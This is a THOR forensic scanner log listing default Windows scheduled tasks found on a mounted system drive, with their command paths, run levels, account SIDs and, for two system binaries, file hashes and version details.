Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\BrokerInfrastructure\BgTaskRegistrationMaintenanceTask COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\AikCertEnrollTask COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\CryptoPolicyTask COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\KeyPreGenTask COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\SystemTask COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask-Roam COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Chkdsk\ProactiveScan COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Chkdsk\SyspartRepair COMMAND: %windir%\system32\bcdboot.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\bcdboot.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Clip\License Validation COMMAND: %SystemRoot%\system32\ClipUp.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\ClipUp.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Clip\LicenseImdsIntegration COMMAND: %SystemRoot%\system32\fclip.exe START: 2021-03-01T08:00:00 USER:  RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\fclip.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CloudExperienceHost\CreateObjectTask COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CloudRestore\Backup COMMAND:  START: 2023-07-01T12:00:00 USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\CloudRestore\Restore COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\ConsentUX\UnifiedConsent\UnifiedConsentSyncTask COMMAND:  START: 2024-03-26T12:00:00 USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator COMMAND: %SystemRoot%\System32\wsqmcons.exe START: 2004-01-02T00:00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\wsqmcons.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DUSM\dusmtask COMMAND: %SystemRoot%\System32\dusmtask.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\dusmtask.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Data Integrity Scan\Data Integrity Check And Scan COMMAND:  START: 2011-01-01T23:00:00 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Data Integrity Scan\Data Integrity Scan COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Data Integrity Scan\Data Integrity Scan for Crash Recovery COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Defrag\ScheduledDefrag COMMAND: %windir%\system32\defrag.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: InteractiveToken FILE_1: C:\Windows\system32\defrag.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Device Information\Device COMMAND: %windir%\system32\devicecensus.exe START: 2008-09-01T03:00:00 USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE:  FILE_1: C:\Windows\system32\devicecensus.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Device Information\Device User COMMAND: %windir%\system32\devicecensus.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\devicecensus.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Device Setup\Metadata Refresh COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\HandleCommand COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\HandleWnsCommand COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\IntegrityCheck COMMAND:  START: 2015-01-01T12:00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\LocateCommandUserSession COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\RegisterDeviceAccountChange COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\RegisterDeviceLocationRightsChange COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\RegisterDevicePeriodic24 COMMAND:  START: 2015-01-01T06:00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\RegisterDevicePolicyChange COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\RegisterDeviceProtectionStateChanged COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\RegisterDeviceSettingChange COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DeviceDirectoryClient\RegisterUserDevice COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\RecommendedTroubleshootingScanner COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\Scheduled COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DirectX\DXGIAdapterCache COMMAND: %windir%\system32\dxgiadaptercache.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\dxgiadaptercache.exe EXISTS_1: no
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DirectX\DirectXDatabaseUpdater COMMAND: %windir%\system32\directxdatabaseupdater.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\directxdatabaseupdater.exe EXISTS_1: no
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DiskCleanup\SilentCleanup COMMAND: %windir%\system32\cleanmgr.exe START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\cleanmgr.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 211456 MD5_1: 485c3639234c59ed6bf09f73704b110e SHA1_1: 84e544a280adc90ff11fc047b14bf51ee6084dba SHA256_1: 5502bc3dd8f997bee50dbc9a3445c3b0e6407e916503589e3fda06a8759c0de3 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:13:12.476 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Disk Space Cleanup Manager for Windows LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: CLEANMGR.DLL.MUI INTERNAL_NAME_1: CLEANMGR IMPHASH_1: ed6b85cd7015d439b422f14335cb986c
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector COMMAND: %windir%\system32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver COMMAND: %windir%\system32\DFDWiz.exe START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\DFDWiz.exe EXISTS_1: no
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DiskFootprint\Diagnostics COMMAND: %windir%\system32\disksnapshot.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\disksnapshot.exe EXISTS_1: no
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\DiskFootprint\StorageSense COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\EDP\EDP App Launch Task COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\EDP\EDP Auth Task COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\EDP\EDP Inaccessible Credentials Task COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\EDP\StorageCardEncryption Task COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Feedback\Siuf\DmClient COMMAND: %windir%\system32\dmclient.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\dmclient.exe EXISTS_1: no
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Feedback\Siuf\DmClientOnScenarioDownload COMMAND: %windir%\system32\dmclient.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\dmclient.exe EXISTS_1: no
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\File Classification Infrastructure\Property Definition Sync COMMAND:  START: 2006-11-09T03:00:00 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\FileHistory\File History (maintenance mode) COMMAND:  START:  USER: S-1-5-19 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\BootstrapUsageDataReporting COMMAND:  START: 2024-04-05T03:06:51+03:00 USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\UsageDataFlushing COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\UsageDataReporting COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Flighting\OneSettings\RefreshCache COMMAND:  START: 2024-09-03T17:09:49.848Z USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Input\InputSettingsRestoreDataAvailable COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Input\LocalUserSyncDataAvailable COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Input\MouseSyncDataAvailable COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Input\PenSyncDataAvailable COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Input\TouchpadSyncDataAvailable COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Input\syncpensettings COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\InstallService\RestoreDevice COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\InstallService\ScanForUpdates COMMAND:  START: 2014-01-01T00:00:00+00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\InstallService\ScanForUpdatesAsUser COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\InstallService\SmartRetry COMMAND:  START: 2014-01-01T03:00:00+03:00 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\InstallService\WakeUpAndContinueUpdates COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\InstallService\WakeUpAndScanForUpdates COMMAND:  START: 2014-01-01T00:00:00+00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\International\Synchronize Language Settings COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Kernel\La57Cleanup COMMAND: %windir%\system32\la57setup.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\la57setup.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\LanguageComponentsInstaller\Installation COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\LanguageComponentsInstaller\ReconcileLanguageResources COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\LanguageComponentsInstaller\Uninstallation COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\License Manager\TempSignedLicenseExchange COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
